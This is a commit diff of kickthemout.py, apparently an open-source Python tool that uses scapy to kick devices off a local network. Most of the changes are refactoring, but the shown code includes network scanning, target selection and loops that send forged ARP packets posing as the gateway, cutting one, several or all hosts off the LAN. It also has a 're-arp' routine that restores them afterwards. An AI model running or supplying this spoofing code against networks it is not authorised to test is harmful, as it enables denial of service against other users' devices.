Update kickthemout.py

This commit is contained in:
k4m4 2017-01-02 11:47:49 +02:00
parent 3a37cab65f
commit 2fd78cde78

View File

@ -18,7 +18,6 @@ from scapy.all import *
BLUE, RED, WHITE, YELLOW, MAGENTA, GREEN, END = '\33[94m', '\033[91m', '\33[97m', '\33[93m', '\033[1;35m', '\033[1;32m', '\033[0m' BLUE, RED, WHITE, YELLOW, MAGENTA, GREEN, END = '\33[94m', '\033[91m', '\33[97m', '\33[93m', '\033[1;35m', '\033[1;32m', '\033[0m'
def heading(): def heading():
sys.stdout.write(GREEN + """ sys.stdout.write(GREEN + """
@ -28,11 +27,10 @@ def heading():
""" + END + BLUE + """ + END + BLUE +
'\n' + '{0}Kick Devices Off Your LAN ({1}KickThemOut{2}){3}'.format(YELLOW, RED, YELLOW, '\n' + '{0}Kick Devices Off Your LAN ({1}KickThemOut{2}){3}'.format(YELLOW, RED, YELLOW, BLUE).center(98) +
BLUE).center(88) + '\n' + 'Made With <3 by: {0}Nikolaos Kamarinakis ({1}k4m4{2}) & {0}David Schütz ({1}xdavidhu{2}){3}'.format(
'\n' + 'Made With <3 by: {0}Nikolaos Kamarinakis ({1}k4m4{2}) & {0}David Schütz ({1}xdavidhu{2}){3}'.format( YELLOW, RED, YELLOW, BLUE).center(111) +
YELLOW, RED, YELLOW, BLUE).center(67) + '\n' + 'Version: {0}0.1{1}\n'.format(YELLOW, END).center(86))
'\n' + 'Version: {0}0.1{1}\n'.format(YELLOW, END).center(77))
def optionBanner(): def optionBanner():
@ -47,21 +45,20 @@ def optionBanner():
print('\n\t{0}[{1}E{2}]{3} Exit KickThemOut\n').format(YELLOW, RED, YELLOW, WHITE) print('\n\t{0}[{1}E{2}]{3} Exit KickThemOut\n').format(YELLOW, RED, YELLOW, WHITE)
def scanNetwork():
global hostsList
hostsList = scan.scanNetwork()
regenOnlineIPs()
def regenOnlineIPs(): def regenOnlineIPs():
global onlineIPs global onlineIPs
global defaultGatewayMac global defaultGatewayMac
onlineIPs = [] onlineIPs = []
for host in hostsList: for host in hostsList:
onlineIPs.append(host[0]) onlineIPs.append(host[0])
if host[0] == defaultGatewayIP: if host[0] == defaultGatewayIP:
defaultGatewayMac = host[1] defaultGatewayMac = host[1]
def scanNetwork():
global hostsList
hostsList = scan.scanNetwork()
regenOnlineIPs()
def kickoneoff(): # TODO: do not allow only one device!! def kickoneoff(): # TODO: do not allow only one device!!
os.system("clear||cls") os.system("clear||cls")
@ -70,7 +67,6 @@ def kickoneoff(): # TODO: do not allow only one device!!
scanNetwork() scanNetwork()
print("Online IPs: ") print("Online IPs: ")
for i in range(len(onlineIPs)): for i in range(len(onlineIPs)):
mac = "" mac = ""
for host in hostsList: for host in hostsList:
@ -96,9 +92,11 @@ def kickoneoff(): # TODO: do not allow only one device!!
one_target_mac = host[1] one_target_mac = host[1]
if one_target_mac == "": if one_target_mac == "":
print("\nIP address is not up. Please try again.") print("\nIP address is not up. Please try again.")
return # TODO: Test "break" return
# print("\n{0}Target mac => '{1}" + one_target_mac + "{2}'{3}\n").format(GREEN, RED, GREEN, END) # {TESTING} # print("\n{0}Target mac => '{1}" + one_target_mac + "{2}'{3}\n").format(GREEN, RED, GREEN, END) # {TESTING}
print("\n{0}Target: {1}" + one_target_ip).format(GREEN, END)
print("\n{0}Spoofing started... {1}").format(GREEN, END) print("\n{0}Spoofing started... {1}").format(GREEN, END)
try: try:
while True: while True:
@ -106,10 +104,10 @@ def kickoneoff(): # TODO: do not allow only one device!!
time.sleep(15) time.sleep(15)
except KeyboardInterrupt: except KeyboardInterrupt:
print("\n{0}Re-arping{1} target...{2}").format(RED, GREEN, END) print("\n{0}Re-arping{1} target...{2}").format(RED, GREEN, END)
rearp = 1 reArp = 1
while rearp != 10: while reArp != 10:
spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, one_target_ip, one_target_mac) spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, one_target_ip, one_target_mac)
rearp = rearp + 1 reArp += 1
time.sleep(0.5) time.sleep(0.5)
print("{0}Re-arped{1} target successfully.{2}").format(RED, GREEN, END) print("{0}Re-arped{1} target successfully.{2}").format(RED, GREEN, END)
@ -121,7 +119,6 @@ def kicksomeoff():
scanNetwork() scanNetwork()
print("Online IPs: ") print("Online IPs: ")
for i in range(len(onlineIPs)): for i in range(len(onlineIPs)):
mac = "" mac = ""
for host in hostsList: for host in hostsList:
@ -138,7 +135,11 @@ def kicksomeoff():
except KeyboardInterrupt: except KeyboardInterrupt:
return return
some_targets = choice.split(",") if ',' in choice:
some_targets = choice.split(",")
else:
print("\n{0}ERROR:{2} Please select more than 1 devices.{3}\n").format(RED, RED, END)
return
some_ipList = "" some_ipList = ""
for i in some_targets: for i in some_targets:
@ -164,14 +165,14 @@ def kicksomeoff():
time.sleep(15) time.sleep(15)
except KeyboardInterrupt: except KeyboardInterrupt:
print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END) print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END)
rearp = 1 reArp = 1
while rearp != 10: while reArp != 10:
for i in some_targets: for i in some_targets:
ip = onlineIPs[int(i)] ip = onlineIPs[int(i)]
for host in hostsList: for host in hostsList:
if host[0] == ip: if host[0] == ip:
spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1]) spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1])
rearp = rearp + 1 reArp += 1
time.sleep(0.5) time.sleep(0.5)
print("{0}Re-arped{1} targets successfully.{2}").format(RED, GREEN, END) print("{0}Re-arped{1} targets successfully.{2}").format(RED, GREEN, END)
@ -199,19 +200,19 @@ def kickalloff():
for host in hostsList: for host in hostsList:
if host[0] != defaultGatewayIP: if host[0] != defaultGatewayIP:
spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1]) spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1])
reScan = reScan + 1 reScan += 1
if reScan == 4: if reScan == 4:
reScan = 0 reScan = 0
scanNetwork() scanNetwork()
time.sleep(15) time.sleep(15)
except KeyboardInterrupt: except KeyboardInterrupt:
print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END) print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END)
rearp = 1 reArp = 1
while rearp != 10: while reArp != 10:
for host in hostsList: for host in hostsList:
if host[0] != defaultGatewayIP: if host[0] != defaultGatewayIP:
spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1]) spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1])
rearp = rearp + 1 reArp += 1
time.sleep(0.5) time.sleep(0.5)
print("{0}Re-arped{1} targets successfully.{2}").format(RED, GREEN, END) print("{0}Re-arped{1} targets successfully.{2}").format(RED, GREEN, END)
@ -229,7 +230,6 @@ def getDefaultInterface():
return None return None
return net return net
for network, netmask, _, interface, address in scapy.config.conf.route.routes: for network, netmask, _, interface, address in scapy.config.conf.route.routes:
# skip loopback network and default gw
if network == 0 or interface == 'lo' or address == '127.0.0.1' or address == '0.0.0.0': if network == 0 or interface == 'lo' or address == '127.0.0.1' or address == '0.0.0.0':
continue continue
if netmask <= 0 or netmask == 0xFFFFFFFF: if netmask <= 0 or netmask == 0xFFFFFFFF:
@ -264,6 +264,7 @@ def main():
"\n{0}Using interface '{1}" + defaultInterface + "{2}' with mac address '{3}" + defaultInterfaceMac + "{4}'.\nGateway IP: '{5}" "\n{0}Using interface '{1}" + defaultInterface + "{2}' with mac address '{3}" + defaultInterfaceMac + "{4}'.\nGateway IP: '{5}"
+ defaultGatewayIP + "{6}'. {7}" + str(len(hostsList)) + "{8} hosts are up.{9}").format(GREEN, RED, GREEN, RED, GREEN, + defaultGatewayIP + "{6}'. {7}" + str(len(hostsList)) + "{8} hosts are up.{9}").format(GREEN, RED, GREEN, RED, GREEN,
RED, GREEN, RED, GREEN, END) RED, GREEN, RED, GREEN, END)
try: try:
while True: while True: